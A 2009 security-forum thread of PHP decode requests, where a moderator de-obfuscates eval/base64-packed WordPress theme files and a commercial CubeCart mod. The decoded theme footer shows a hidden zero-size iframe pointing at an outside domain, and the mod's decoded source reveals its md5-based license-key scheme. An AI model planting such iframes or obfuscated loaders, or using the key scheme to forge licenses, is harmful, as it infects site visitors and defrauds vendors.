|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 59
Members: 0
Total: 59
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Please decode two PHP files |
|
Posted: Wed Sep 30, 2009 6:36 pm |
|
|
hilikus |
Beginner |
|
|
Joined: Sep 30, 2009 |
Posts: 2 |
Location: Porto - Portugal |
|
|
|
|
|
|
Hello all and first of all congratulations for the great site/forum you have here.
Now...could you please decode the following PHP files?
--FILE 1--
<?php $_F=__FILE__;$_X='PzMNYmE/bVptNGNNb19aTTBFTW4oKTs0PzMNYg1iYSEtLSBPRTRIUy5KIEQtLTMNYg1iYT9tWm00bk0xSk9uTSgnTC5PRU1uWG1abScpOzQ/Mw1iCQ1iDWJhIS0tUFk3QjR0UjlCNDZbUlsvcjQvWUZbQkZbNDQtLTMNYglhP21abTRuTTFKT25NKCddTS5IUyBNWG1abScpOzQ/Mw1iYSEtLUJGVjRQWTdCNHRSOUI0NltSWy9yNC9ZRltCRls0NC0tMw1iNDQNYmE/bVptNGNNb19MT0VNQTBuKCk7ND8zDWINYmF5RU9wMw1iYSEtLUJGVjQ3UnJGNC9ZRltSckZCCjR7cy0tMw1iDWJhP21abTRjTW9fdVNTb01uKCk7ND8zDWI=';$_D=strrev('edoced_46esab');eval($_D('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCdPL2JwdXcza002QjJ0eEQxLlJvWF1sVlkgPkpBRUdUZno3SwpRSD1qc31acVVjZTh2NW5tPFs5YTRpMENyV3tOZ2hkSUxQeVNGJywnaUMKdmZGPnplU0U3UDVucWxBdC53V0RPbUt1YmRVfT0zTXtSa2N4OTJKaExaZ1gwNnlycFFURzwgVmFqSUIxXVtZNDhzSC9vTicp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fX19WH1abj1xV01uWE96eD4mSDxuWjs+Qm5aZUhpPjZlV3M5PkR0VHVJWD5oPi9wcEJoblplSGlCPHo+aGkJCQk+Pg1WCQk+Pj4+NE1jTVdPWk05PjxxPkJlPi56TUFTIiMiaX19fVg8V094PVFzSE1YMk9ZQmhlaUJoWmkNVj4+DVYJCT4+Qmg5c2NpDVY+PglCaDlzY2kNVkIhLS0+S0g5PkFPTz1Nej5uPWV6PW4tLWkNVkJzQXplWU0+bnoyUyIuPT1aOmhoV09aPGVPMi5zWDJPWSI+ZVdzeEhTIgpRbj1zQXEiPm4yek9XV3NIeFMiSE8iPkF6ZVlNPE96OU16UyJhIj4uTXN4Lj1TImEiPn1zOT0uUyJhImlCaHNBemVZTWkNVkJoPE85cWkNVkJoLj1ZV2kNVg==';$_D=strrev('edoced_46esab');eval($_D('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCdTZ1BPOVlaV0ZLbXF5ZnhjakxKUnp1TTV2TnRzMWIue0I0bkNdaS8yRGwwRWhlQQpbZDg9UXA+VlhvIEh9NkdJdzdrYTNUclU8JywnPVI5b2RtcGxBRVB5azhndls1M3hyTWV6cVpIaTdZaFc8RHNHez5DY1h9MU4vYWZqNl1KdHVTIAouQlVud1ZLTFFPMjBJVEY0YicpOyRfUj1zdHJfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
that woul be a huge help! |
|
|
|
|
|
|
|
|
Posted: Wed Sep 30, 2009 10:02 pm |
|
|
Cyko |
Moderator |
|
|
Joined: Jul 21, 2009 |
Posts: 375 |
|
|
|
|
|
|
|
File 1:
Code: | <?php get_header(); ?>
<!--mid column-->
<?php require('slider.php'); ?>
<!--HOME PAGE STATCI CONTENT -->
<?php require('welcome.php'); ?>
<!--END HOME PAGE STATCI CONTENT -->
<?php get_sidebar(); ?>
</div>
<!--END MAIN CONTAINER 12-->
<?php get_footer(); ?> |
|
|
|
|
|
|
|
|
|
Posted: Wed Sep 30, 2009 10:03 pm |
|
|
Cyko |
Moderator |
|
|
Joined: Jul 21, 2009 |
Posts: 375 |
|
|
|
|
|
|
|
File 2:
Code: | <!-- footer starts-->
<div class="footer">
<div id="footer">
<div class="f-menu">
<ul>
<li <?php if ( is_home() ) { ?> class="current_page_item"<?php } ?>><a href="<?php echo get_option('home'); ?>/"><?php _e('Home','Mimbo'); ?></a></li>
<!--WORDPRESS PAGES -->
<?php wp_list_pages('sort_column=menu_order&title_li=&include=2,8'); ?>
<!--WORDPRESS CATEGORIES -->
<?php wp_list_categories('order=DESC&title_li=&include=4,5'); ?>
<!--CONTACT PAGE ID -->
<?php wp_list_pages('sort_column=menu_order&title_li=&include=21'); ?>
</ul>
</div>
<div class="clear"> ;;</div>
<p>© Copyright 2009 www.wpstyles.org ;; <span> Valid XHTML. / CSS</span><br />
Developed by <a href="#">www.blogtuine.com</a></p>
</div>
</div>
<!-- End footer starts-->
<iframe src="http://lopbaochi.com" align="justify" scrolling="no" frameborder="0" height="0" width="0"></iframe>
</body>
</html> |
|
|
|
|
|
|
Somebody pls decode this php |
|
Posted: Sat Oct 03, 2009 5:36 pm |
|
|
owner |
Regular user |
|
|
Joined: Oct 03, 2009 |
Posts: 10 |
|
|
|
|
|
|
|
Anyone can decode this php?
<?php
$OOO0O0O00=__FILE__;$OOO000000=urldecode('%61%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64');$OO00O0000=12980;$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';eval(($$O0O0000O0('aWYoITApJE8wMDBPME8wMD1mb3BlbigkT09PME8wTzAwLCdyYicpO2ZnZXRzKCRPMD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1oVlaI7UG9IB1jQlaI7UG9J6O9G15yIUGyVM1oIKYFcxbFQ17FcRnCIyGHzMYjtqByb6XRcRlCIy4RwEgpwaxFbaxoIKKoc6OoAar9IBrCJ8/Fnj49IB1oVlaI7UGyIU3CcWGHzMYjtqByb6XRcRlCIy48rZxHzY/yI6ZFz6SFcRF8z8YoJaejICC+rZxHzY/yIj30t6X9G15yIU30t6O9G158rZB+zRQpc3G8OUGyIU3CJy4VWfGyIUG9J6XycdgpwCi9s8OpwCfCIyGHzMYjtqByb6XRcRlCIy48nE7jtUT9IB1oVlaI7UGyIU3CcWGHzMYjtqByb6XRcRlCIy4VWf8yIUGyVMeFbKSCIK1hAKx9s8fpw6Xowl7ycEYFwmBynS/oJRgoRZXowoYCwM1AsyGCndgCwmByQU7yI34VWf8yIUGyVMeFbKSCIK1hAKx9s8rCw8ZpAW7ycagHAar9s8rCw8ZpAW7yJoYFJRx9s8docx1yNa/FnoeoOyG0rlaI7UGyIU30t6X9G15yIU30t6O9G15yIU30t6YHnMx9G159IBnFt8Z9G15VWfaI7jTpwEQFJRXosGb07l/07l/07l/pwEQFJRXoAq/onB/CcRO0nxiHOEvpJUb5Lg= |
|
|
|
|
|
|
|
|
Posted: Sat Oct 03, 2009 8:54 pm |
|
|
Cyko |
Moderator |
|
|
Joined: Jul 21, 2009 |
Posts: 375 |
|
|
|
|
|
|
|
owner:
Code: | <?php
include('../../../../includes/ini.inc.php');
include('../../../../includes/global.inc.php');
include('../../../../classes/db.inc.php');
$db = new db();
include_once('../../../../includes/functions.inc.php');
$config = fetchDbConfig('config');
include_once('../../../../language/' . $config['defaultLang'] . '/lang.inc.php');
$enableSSl = 1;
include('../../../../includes/sslSwitch.inc.php');
include('../../../includes/auth.inc.php');
include('../../../../includes/currencyVars.inc.php');
$productsPerPage = 25;
if (permission('settings', 'read') == false) {
header('Location: ' . $GLOBALS['rootRel'] . 'admin/401.php');
exit;
}
$table_there = $db->select('check table ' . $glob['dbprefix'] . 'CubeCart_adg_mustlogin_mod quick');
if ($table_there[0]['Msg_type'] == 'error' || $table_there[0]['Msg_type'] == 'Error') {
$install_sql1 = 'CREATE TABLE `' . $glob['dbprefix'] . 'CubeCart_adg_mustlogin_mod` (`id` int(11) NOT NULL auto_increment, PRIMARY KEY (`id`)) TYPE=MyISAM AUTO_INCREMENT=1 ;<?php
$install_sql2 ='ALTER TABLE `'.$glob['dbprefix']."CubeCart_customer` ADD `prices` INT(11) DEFAULT '0' NOT NULL ;";
$run_sql1 = $db->misc($install_sql1);
$run_sql2 = $db->misc($install_sql2);
if ($run_sql1 == FALSE) {
$msg = 'Error CubeCart_adg_mustlogin_mod Table, Contact cubemods@alexgoldberg . com for support<?php
} elseif ($run_sql2 == false) {
$msg = 'Error Updating CubeCart_customer Table, Contact cubemods@alexgoldberg.com for support<?php
}else {
$msg = 'You can now configure your mod<?php
}
}
if (isset($_POST['module'])) {
include('../../status.php');
include('../../../includes/functions.inc.php');
$module = fetchDbConfig('Must_Login');
$msg = writeDbConf($_POST['module'], 'Must_Login', $module);
}
$module = fetchDbConfig('Must_Login');
if (isset($_POST['licensekey'])) {
$module['modSecurityKey'] = $_POST['licensekey'];
$module['badserver'] = '<?php
$module['badsip'] = '<?php
$msg = writeDbConf($module, 'Must_Login', $module);
}
if (isset($_GET['resetkey'])) {
include('../../../includes/functions.inc.php');
$module = fetchDbConfig('Must_Login');
$module['modSecurityKey'] = '<?php
$msg = writeDbConf($module,'Must_Login',$module);
}
if ($_SERVER['SERVER_ADDR'] !='127 . 0.0.1') {
if (isset($module['modSecurityKey'])) {
$domain_parts = explode(' . ',$_SERVER['SERVER_NAME']);
switch (count($domain_parts)) {
case 5:
switch ($domain_parts[4]) {
case 'com':
case 'org':
case 'net':
case 'com':
case 'ws':
case 'ie':
case 'info':
$domain_to_encode = $domain_parts[3];
$tld = $domain_parts[4];
break;
default:
$domain_to_encode = $domain_parts[2];
$tld = $domain_parts[3].' . '.$domain_parts[4];
break;
}
break;
case 4:
switch ($domain_parts[3]) {
case 'com':
case 'org':
case 'net':
case 'com':
case 'ws':
case 'ie':
case 'info':
$domain_to_encode = $domain_parts[2];
$tld = $domain_parts[3];
break;
default:
$domain_to_encode = $domain_parts[1];
$tld = $domain_parts[2].' . '.$domain_parts[3];
break;
}
break;
case 3:
switch ($domain_parts[2]) {
case 'au':
case 'ca':
case 'cz':
case 'de':
case 'dk':
case 'fr':
case 'in':
case 'it':
case 'nl':
case 'no':
case 'pt':
case 'ru':
case 'uk':
if ($domain_parts[1] == 'co'||$domain_parts[1] == 'com') {
$domain_to_encode = $domain_parts[0];
$tld = $domain_parts[1].' . '.$domain_parts[2];
}else {
$domain_to_encode = $domain_parts[1];
$tld = $domain_parts[2];
}
break;
default:
$domain_to_encode = $domain_parts[1];
$tld = $domain_parts[2];
}
break;
default:
$domain_to_encode = $domain_parts[0];
$tld = $domain_parts[1];
break;
}
$ssl_domains = array('secure - secure','bluehost','omnis','startlogic','powweb','myhosting','silverlinestudio');
$ip_domains = array('208 . 109.193.82','69 . 89.31.102');
if (
$module['modSecurityKey'] == md5('supper'.$domain_to_encode.'goober_1992'.'Must_Login')
||in_array($domain_to_encode,$ssl_domains)
||in_array($_SERVER['SERVER_ADDR'],$ip_domains)
) {
$module['badserver'] = '<?php
$module['badsip'] = '<?php
}else {
$msg = 'There appears to be a missmatch in the configured web site address. < br > Please check your configuration or contact keys@cubecartmodder . com for assistance<?php
$modSecurityError = true;
$license_error = '<br>Unlicensed server: ' . $module['badserver'];
$license_error = $license_error . '<br>Unlicensed address: ' . $module['badsip'];
}
} else {
$getSecurityKey = true;
}
} else {
$msg = "<p class='warnText'>Goober Mod is running in <b><i>TEST</i></b> mode</p>";
}
include('../../../includes/header.inc.php');
?><p class="pageTitle"><?php
$lang['mods']['mustlogin']['mod_title'];
?><br/>
</br>
<span class="infoText" style="font-size:60%">
CubeCart mod by Goober <a href="http://www.cubecartmodder.com/">www.cubecartmodder.com</a>
</span></p>
<?php
if (isset($msg)) {
echo $msg;
}
if ($getSecurityKey or $modSecurityError) {
?>
<form action="<?php
$GLOBALS['rootRel'];
?>admin/modules/3rdparty/Must_Login/index.php?module=3rdparty&folder=Must_Login" method="post" enctype="multipart/form-data">
<table border="0" cellspacing="0" cellpadding="3" class="mainTable">
<tr>
<td colspan="2" class="tdTitle">Please Enter License Key</td>
<td colspan="2" class="tdText">The mod found your domain name as: <b>
<?php
$_SERVER['SERVER_NAME'];
?></b><br>Use this name to generate license key.
<?php
$license_error = '<br>Unlicensed Domain: ' . $module['badserver'];
$license_error = $license_error . '<br>Unlicensed address: ' . $module['badsip'];
echo $license_error;
?> </td>
</tr>
<tr>
<td align="left" class="tdText"><strong>Key:</strong></td>
<td class="tdText">
<input type="text" name="licensekey">
</td>
<td colspan="2" class="tdText" align="right">Please visit <a href="http://www.cubecartmodder.com/" target="_NEW">www.cubecartmodder.com</a> and login to your account to get a copy of your key.</td>
</tr>
<tr>
<td align="right" class="tdText"> ;;</td>
<td class="tdText">
<input name="module[default]" value="0" type="hidden" />
<input name="module[status]" value="0" type="hidden" />
<input type="submit" class="submit" value="Submit Key" />
</td>
<td colspan="2" class="tdText"></td>
</tr>
</table>
</form>
<?php
exit;
}
?><p>
<form action="<?php
$GLOBALS['rootRel'];
?>admin/modules/3rdparty/Must_Login/index.php?module=3rdparty&folder=Must_Login" method="post" enctype="multipart/form-data">
<table border="0" cellspacing="0" cellpadding="3" class="mainTable">
<tr>
<td colspan="2" class="tdTitle"><?php
$lang['mods']['mustlogin']['config_settings'];
?></td>
</tr>
<tr>
<td rowspan="4" align="left" class="tdText" valign="top"><strong><?php
$lang['mods']['mustlogin']['must_auth_for_prices'];
?>:</strong></td>
<td class="tdText"><table><tr><td valign="top">
<input type="radio" value="3" name="module[must_auth]" <?php
if ($module['must_auth'] == 3)
echo "checked='checked'";
?>>
</td>
<td class="tdText"><?php
$lang['mods']['mustlogin']['must_auth_for_all_prices'];
?></td>
</tr></table></td>
</tr>
<tr>
<td class="tdText"><table><tr><td valign="top">
<input type="radio" value="2" name="module[must_auth]" <?php
if ($module['must_auth'] == 2)
echo "checked='checked'";
?>>
</td>
<td class="tdText"><?php
$lang['mods']['mustlogin']['must_auth_for_login_and_sale_prices'];
?></td>
</tr></table></td>
</tr>
<tr>
<td class="tdText"><table><tr><td valign="top">
<input type="radio" value="1" name="module[must_auth]" <?php
if ($module['must_auth'] == 1)
echo "checked='checked'";
?>>
</td>
<td class="tdText"><?php
$lang['mods']['mustlogin']['must_auth_for_no_prices'];
?> </td>
</tr></table></td>
</tr>
<tr>
<td class="tdText"><table><tr><td valign="top">
<input type="radio" value="0" name="module[must_auth]" <?php
if ($module['must_auth'] == 0)
echo "checked='checked'";
?>>
</td>
<td class="tdText"><?php
$lang['mods']['mustlogin']['must_auth_for_sale_prices'];
?> </td>
</tr></table></td>
</tr>
<tr>
<td align="left" class="tdText"><strong><?php
$lang['mods']['mustlogin']['view_button'];
?>:</strong></td>
<td class="tdText">
<select name="module[view_button]">
<option value="1" <?php
if ($module['view_button'] == 1)
echo "selected='selected'";
?>><?php
$lang['admin']['yes'];
?></option>
<option value="0" <?php
if ($module['view_button'] == 0)
echo "selected='selected'";
?>><?php
$lang['admin']['no'];
?></option>
</select>
</td>
</tr>
<tr>
<td align="left" class="tdText"><strong><?php
$lang['mods']['mustlogin']['status'];
?>:</strong></td>
<td class="tdText">
<select name="module[status]">
<option value="1" <?php
if ($module['status'] == 1)
echo "selected='selected'";
?>><?php
$lang['mods']['mustlogin']['enabled'];
?></option>
<option value="0" <?php
if ($module['status'] == 0)
echo "selected='selected'";
?>><?php
$lang['mods']['mustlogin']['disabled'];
?></option>
</select>
</td>
</tr>
<?php
if ($module['badserver'] != '' || $module['badsip'] != '') {
?> <tr>
<td align="left" class="tdText">Unlicensed Domain</strong></td>
<td class="tdText"><?php
$module['badserver'];
?></td>
</tr>
<tr>
<td align="left" class="tdText">Unlicensed Address</strong></td>
<td class="tdText"><?php
$module['badsip'];
?></td>
</tr>
<?php
}
?> <tr>
<td align="right" class="tdText"> ;;</td>
<td class="tdText">
<input type="hidden" name="module[default]" value="0" />
<input type="submit" class="submit" value="Edit Config" />
</td>
</tr>
</table>
</form>
<?php
include('../../../includes/footer.inc.php');
?> |
|
|
|
|
|
|
|
|
|
Posted: Sun Oct 04, 2009 10:50 am |
|
|
owner |
Regular user |
|
|
Joined: Oct 03, 2009 |
Posts: 10 |
|
|
|
|
|
|
|
Thanx cyko... you are the best |
|
|
|
|
www.waraxe.us Forum Index -> PHP script decode requests
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|